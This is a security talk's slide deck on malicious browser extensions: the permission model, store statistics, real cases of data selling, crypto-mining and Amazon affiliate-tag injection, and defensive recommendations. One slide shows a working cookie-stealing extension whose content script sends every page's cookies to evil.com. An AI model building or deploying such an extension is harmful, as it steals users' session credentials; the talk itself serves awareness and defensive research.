

# The Evil Friend in Your Browser

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<https://logicalhacking.com/>


OWASP Benelux-Day 2017  
November 24, 2017 Tilburg, The Netherlands

## Outline

- 1 Motivation
- 2 What are extensions: user perspective
- 3 What are extensions: developer perspective
- 4 Real world extensions
- 5 Outlook


## Browsers are the new operating systems

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## Protecting Web Users

- ❑ HttpOnly
- ❑ Same-origin policy
- ❑ Content Security Policy (CSP)
- ❑ ...



## Security of web browsers

- ❑ The major browser vendors
  - ❑ take security seriously
  - ❑ investing a lot in making web browsers **secure** and **trustworthy**



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
- ❑ The major browser vendors
  - ❑ take security seriously
  - ❑ investing a lot in making web browsers **secure** and **trustworthy**
- ❑ We have a good basis for secure web applications






## Browser extensions

- Add-ons extending your browser
- Google says:
  - ❏ **small** software programs
  - ❏ **little to no** user interface




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- What we find:
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  - ❏ **sophisticated** user interfaces




## Browser extensions


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- What extension can do:
  - ❏ modify the user interface (how your browser behaves)
  - ❏ modify web pages (what you see)
  - ❏ modify web request (what you enter)




## Let's search for a simple calculator




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
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


# Let's search for a simple calculator





## Let's search for a simple calculator



## Malicious extensions are a real threat (1/2)



- Web of Trust (WoT) logged all web requests

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


- ❖ Web of Trust (WoT) logged all web requests
- ❖ and sold the data to third parties
- ❖ A German TV station bought the data
- ❖ "de-anonymized" it
- ❖ and found critical data, e.g.:
  - ❖ tax declaration of a member of the German parliament
  - ❖ details about international search warrants
  - ❖ ...

## Malicious extensions are a real threat (2/2)




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





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
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
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
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
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
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## The architecture of browser extensions



```
{
  "update_url":
    "https://clients2.google.com/service/update2/crx",
  "name": "Test_Extension",
  "version": "0.1",
  "manifest_version": 2,
  "description": "This is a harmless extension...",
  "permissions": [ "tabs", "<all_urls>", "webRequest" ],
  "content_scripts": [
    {
      "all_frames": true,
      "js": [ "content_script.js" ],
      "matches": [ "<all_urls>" ],
      "run_at": "document_start"
    }
  ],
  "background": {
    "scripts": [ "background.js" ]
  }
}
```

## Security mechanism: Permissions

### Background Scripts

Two-dimensional permission system:

- functional permissions: *tabs*, *bookmarks*, *webRequest*, *desktopCapture*, ...
- host permissions: *https://\*.google.com*, *http://www.facebook.com*, but also *<all\_urls>* and *https://\**

Host permissions restrict effect of some functional permissions

### Content Scripts

Black and white: either injecting script, or not

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## Chrome Web Store




available in the  
chrome web store


- Main way of distributing extensions
- We monitor 125k "additional Chrome features" (ca. 10% got removed during last 5 months)

Wide variety of categories:

productivity	32.29%
fun	15.86%
communication	12.64%
accessibility	10.05%
web_development	9.95%
search_tools	5.87%
shopping	4.83%
news	3.51%
photos	2.10%
blogging	1.86%




## Our "Big Data" extension archive





- Daily snapshots of over 125'000 artifacts
- Over 3TB in size
- Over 23GB JavaScript (over 3'9 billion LOC)

## Download numbers




## Extensions can be big




## Observe our browsing behaviour

- ❖ Permission: *tabs* or *<all\_urls>*, or content script on all sites
- ❖ Needed for many simple extensions
- ❖ Can monitor your complete history, incl. full urls




## Observe our browsing behaviour

- ❖ Permission: *tabs* or *<all\_urls>*, or content script on all sites
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- ❖ Can monitor your complete history, incl. full urls
- ❖ 57% of 80.000 extensions




## Circumvent security measures

- ❖ Permission: *<all\_urls>* and *webRequest*
- ❖ Can intercept and change all HTTP headers!
- ❖ **Disable Content-Security-Policy, Same-origin Policy, etc.**
- ❖ Breaks security guarantees of web browsers!



## Circumvent security measures

- ❖ Permission: *<all\_urls>* and *webRequest*
- ❖ Can intercept and change all HTTP headers!
- ❖ **Disable Content-Security-Policy, Same-origin Policy, etc.**
- ❖ Breaks security guarantees of web browsers!
- ❖ 9% of 80.000 extensions






It's that easy...

```
michael@X1 ~/projects/cookiestealer$ ls
content_script.js manifest.json
michael@X1 ~/projects/cookiestealer$ vim manifest.json
michael@X1 ~/projects/cookiestealer$ ls
content_script.js manifest.json
michael@X1 ~/projects/cookiestealer$ cat manifest.json
{
  "update_url": "https://clients2.google.com/service/update2/crx",
  "name": "Test Extension",
  "version": "0.1",
  "manifest_version": 2,
  "description": "This test extension steals all your cookies.",
  "content_scripts": [
    {
      "all_frames": true,
      "js": ["content_script.js"],
      "matches": ["<all_urls>"],
      "run_at": "document_start"
    }
  ]
}
michael@X1 ~/projects/cookiestealer$ cat content_script.js
var httpRequest = new XMLHttpRequest();
httpRequest.open('GET', 'https://evil.com/?cookies=' + document.cookie);
httpRequest.send();
michael@X1 ~/projects/cookiestealer$
```

## Mining Monero (an AltCoin - think Bitcoin)




- First extension:
  - Large press coverage
  - Less than 24 hours in Chrome store (before removed by Google)
- Two days after press releases:
  - At least 16 other mining extensions
  - Most of them seemed un-maintained
  - Updates to fix permissions (required by the mining code)
  - Different wallets, but extensions from same author use same wallet

## Monetization Amazon tags

```
window.addEventListener("load", function() {
  fvdSpeedDial.Utils.Opener.
    addModifier(function(url) {
      try {
        var parsedUrl = fvdSpeedDial.Utils.parseUrl(url);
        var host = parsedUrl.host.toLowerCase();
        var path = parsedUrl.path.toLowerCase();
        host = host.replace(/^www\./, "");
        if (/^amazon\./.test(host)
          && isAmazonProductPath(path)
          && path.indexOf("?tag=") === -1
          && path.indexOf("&tag=") === -1) {
          for (var zone in domainTags) {
            var regexp = new RegExp("amazon\\.\\.\\.
              + zone.replace(".", "\\.");
            if (regexp.test(host)) {
              var modifiedUrl = addTagToUrl(url,
                domainTags[zone]);
              return modifiedUrl;
            }
          }
        } catch (ex) {}
      }
    }), false);
});
```

- Violation of the Amazon Terms of Services
- Dynamic analysis
  - amazon.co.uk declared: 7, non-declared 26
  - amazon.com declared: 14, non-declared 33
  - amazon.it declared: 5, non-declared 22
- ca. 20000 users affected (without consent)

## Dynamic Analysis for Detecting Privacy Violations



- Our Dynamic analysis detected extensions that
- inject benign analytics in all websites
  - monitor the complete browsing behavior
  - can observe all data entered into websites

- In total
- Running each extensions on 10 websites
  - 18 extensions use this attack (over 250k users affected)

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## How can we make web browsing great\* again?



great - ensuring the security, integrity, and privacy of the user of a web browser

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great - ensuring the security, integrity, and privacy of the user of a web browser

- Integrity:
  - content modifications
  - layout modifications
- Confidentiality:
  - data storage
  - transmitted data
- Privacy:
  - access to sensors
  - personal identifiers

## Outlook: On the long term



- Sandboxing of extensions
  - A different permission model
    - granularity?
    - dynamic vs static?
  - Better explanation for users
  - Better analysis/test tools for extensions
- Expect updates from us in the future ...

Outlook: On the short term (1/2)

Frequent updates

vs

Governance



Outlook: On the short term (1/2)

Frequent updates

vs

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Outlook: On the short term (2/2)

- ❏ Check the vendor of the extension carefully
- ❏ Check the permissions (i.e., active domains)
- ❏ Use browser profiles
- ❏ Be aware of the risk



Thank you for your attention!  
Any questions or remarks?

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Regent Court  
211 Portobello St.  
Sheffield S1 4DP, UK



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